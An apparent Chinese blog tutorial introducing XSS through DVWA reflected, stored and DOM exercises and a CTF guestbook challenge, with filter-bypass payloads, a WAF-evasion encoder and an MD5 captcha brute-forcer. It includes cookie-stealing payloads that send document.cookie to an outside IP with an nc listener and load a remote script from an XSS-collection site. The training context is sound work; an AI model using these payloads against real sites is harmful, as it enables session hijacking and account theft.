xss入门

作者: ESE_ | 来源:发表于2019-03-01 16:06 被阅读0次

xss --->跨站脚本攻击(Cross Site Script),缩写CSS,但是为了和层叠样式表(CSS)有所区别,在安全领域叫xss。
作用 --->通过HTML注入篡改网页,插入恶意脚本,控制用户浏览器的一种攻击。
三种xss类型

1、反射型xss
2、存储型xss
3、DOM Based xss型(反射型的一种,因为特殊故意分出来)

环境

DVWA
burpsuite
chrome

DVWA在线平台:---> https://bbs.pediy.com/thread-218653.htm

反射型xss

特点: 有输入框
作用: 读取浏览器Cookie对象
困难: 难以诱使用户点击出发。
xss payload-->实际上就是JavsScript脚本

1、low等级测试
尝试简单的payload=<script>alert(1)</script> --->成功
尝试读取Cookie ---> payload=<script>alert(document.cookie)</script>-->成功读取,如下

cookie
2、medium等级测试
尝试简单的payload=<script>alert('xss')</script>--->失败

因为JavaScript不区分大小写,尝试payload=<sCript>alert('xss')</sCript>--->成功
尝试读取Cookie ---> payload=<sCript>alert(document.cookie)</sCript>-->成功读取

查看源码发现----> 将输入的<script>替换成空。
3、high等级测试
尝试简单,大小写替换,发现都不行。查看源码发现
根据正则表达式过滤,提交内容只要有script顺序出现的字母都一律过滤掉,只是过滤了script标签,但是有一些javascript事件后仍然能执行javascript代码。
比如利用javascript的错误onerror事件弹窗。

payload=<img src=# onerror=alert(22)>(加载一张不存在的图片,导致错误,执行onerror函数导致弹窗)--->成功。

4、这样的xss得到自己的cookie,那怎么样得到别人的cookie呢?
利用看下面例题1

存储型xss

特点: 有输入框,将内容存储在服务器上
作用: 读取浏览器Cookie对象
优势: 客户打开网页自动盗窃cookie

可以将黑客构造的恶意代码存储在服务器上,用户只要访问插入恶意代码的网站就能触发。
1、low等级测试
在Name中输入发现有字符限制,前端浏览器的检测。f12或者bp直接修改长度即可以。

Name尝试简单的payload=  <script>alert('xss')</script>  --->成功
Message尝试简单的payload= <script>alert('xss')</script>  --->成功

查看源代码发现,将Name与Message都存储在数据库中。当其它电脑打开这个网页的时候,发现会自动跳出xss,说明这个存储xss成功执行。
2、medium等级测试
因为这是存储型,需要重新重置数据库,不然会因为low测试影响。
在Name中输入发现有字符限制,前端浏览器的检测。f12或者bp直接修改长度即可以。

Name尝试简单的payload=  <script>alert('xss')</script>  --->失败
Name尝试简单的payload=  <sCript>alert('xss')</sCript>  --->成功

查看源代码发现,Name直接过滤掉<script>,其它没有做处理。而Message则是调用htmlspecialchars转义,不存在xss。
3、high等级测试
因为这是存储型,需要重新重置数据库,不然会因为low测试影响。
在Name中输入发现有字符限制,前端浏览器的检测。f12或者bp直接修改长度即可以。

查看源码发现,根据正则表达式过滤,提交内容只要有script顺序出现的字母都一律过滤掉,只是过滤了script标签,但是有一些javascript事件后仍然能执行javascript代码。比如利用javascript的错误onerror事件弹窗。

Name尝试简单的payload=<img src=# onerror=alert("xss")>(加载一张不存在的图片,导致错误,执行onerror函数导致弹窗)--->成功。
4、怎么样盗窃别人的cookie呢?
将恶意代码[paylaod]注入网页
<script>window.location.href='http://45.77.192.47:80/?cookie='+document.cookie</script>
开启监听80端口
nc -nvlp 80

DOM xss

DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。
可能触发 DOM 型 XSS 的属性:

document.referer 属性
window.name 属性
location 属性
innerHTML 属性
documen.write 属性

1、low等级测试
有个选择语言按钮,f12发现选择语言有documen.write属性。
尝试直接在选择语言后的url加
payload=?default=English<script>alert('xss')</script> --->成功
2、medium等级测试
不允许出现script标签,否则就将default的值设为默认的English,stripos还防止了大小写绕过 ,url中有一个字符为#,该字符后的数据不会发送到服务器端

payload=?default=English>/option></select><img src=1 onerror=alert(/xss/)>

3、high等级测试
服务器后端判断,要求default的值必须为select选择菜单中的值,这里继续用上面的#符号绕过即可,
paylaod=?default=English #<script>alert(/xss/)</script>

防御

1、XSS的防御一定要完整的过滤转义<>这一对标签
2、php后端调用htmlspecialchars转义

绕过方式

paydload

payload1=<object data="javascript:alert(document.cookie);">
payload2=<script>alert(1);</script>

1、html编码
2、其它标签
3、大小写绕过

题目1

打开题目发现留言板


图片.png

验证码
发现需要验证码,找一个submd5.py[python3]

import hashlib
from multiprocessing.dummy import Pool as ThreadPool

# MD5截断数值已知 求原始数据
# 例子 substr(md5(captcha), 0, 6)=60b7ef

def md5(s):  # 计算MD5字符串
    return hashlib.md5(str(s).encode('utf-8')).hexdigest()


keymd5 = '800d2'   #已知的md5截断值
md5start = 0   # 设置题目已知的截断位置
md5length = 5

def findmd5(sss):    # 输入范围 里面会进行md5测试
    key = sss.split(':')
    start = int(key[0])   # 开始位置
    end = int(key[1])    # 结束位置
    result = 0
    for i in range(start, end):
        # print(md5(i)[md5start:md5length])
        if md5(i)[md5start:md5length] == keymd5:   # 拿到加密字符串
            result = i
            print(result)    # 打印
            break


list=[]  # 参数列表
for i in range(10):   # 多线程的数字列表 开始与结尾
    list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = ThreadPool()    # 多线程任务
pool.map(findmd5, list) # 函数 与参数列表
pool.close()
pool.join()

一般都是6位数字,1分钟应该可以跑出来。

waf
随手测试发现存在waf,利用burpsuite的intruder功能,跑一边ascii字符:

waf

尝试html实体编码绕过,然后进行url编码,成功绕过。这里提供html_To_url部分编码,防止编码后长度过长。

s='&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;;'
k=''
for i in s:
    if '#'==i:
        k+='%23'
    elif '&'==i:
        k+='%26'
    else:
        k+=i
print(k)

preview点击,查看源代码

图片.png
发现url--->http://124.16.75.161:40002/guestbook.php?message=&action=preview&captcha=,尝试xss注入。
图片.png success

再次查看代码:


图片.png

发现插入的值在onerror里面。这里可以弹窗,那么利用xss获取cookie。

利用XSS platform平台获取cookie
找到一能接受cookie的服务器,这里我用https://xsshs.cn/xss.php?do=login这个平台来接收。
1、创建一个项目

图片.png 图片.png

2、选择payload


图片.png

payload=<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='https://xsshs.cn/X9O0';>
3、存在xss的网站使用payload
根据前面分析,发现最后将值存储在onerror里面,修改payload为
payload=s=createElement('script');body.appendChild(s);s.src='https://xsshs.cn/X9O0';

cookie

获取cookie


cookie

4、利用paylaod获取的cookie,访问
回到Guest Book页面,利用paylaod直接发生,不过还得html实体编码,不过post发送就没有用url编码了。访问得到flag


flag

成功

相关文章

  • 【XSS爬坑之路一】初识XSS

    XSS入门与介绍 1. XSS简介 XSS,跨站脚本攻击(Cross Site Scripting),是一种注入式...

  • 慕课视频

    免费 《Web安全-XSS》《ReactNative基础与入门》《React入门》《在React中使用Redux数...

  • XSS入门

    XSS(cross site script跨域脚本) 官方解释通常指黑客通过html注入,篡改网页,插入恶意脚本,...

  • xss入门

    xss

  • xss入门

    xss --->跨站脚本攻击(Cross Site Script),缩写CSS,但是为了和层叠样式表(CSS)...

  • XSS简述&入门

    上课上自闭了,我真的不是web手也打不来web题……写个总结,算是补上一年前跟大佬py到的那两道web的wp。……...

  • XSS学习之xss20

    前言 这是比较简单的xss练习小游戏,非常适合入门。一直以来,对xss的内容总感觉有一些屏障,应该是因为动手实践太...

  • 跨站攻击脚本-XSS

    XSS: Cross Site Scripting XSS 概念 XSS 分类 反射型xss攻击图示 XSS 攻击...

  • XSS payload.

    alert('XSS') alert("XSS") alert('XSS') alert("XSS") S...

  • test

    alert('xss')alert('xss') alert('xss')

网友评论

      本文标题:xss入门

      本文链接:https://www.haomeiwen.com/subject/ratkuqtx.html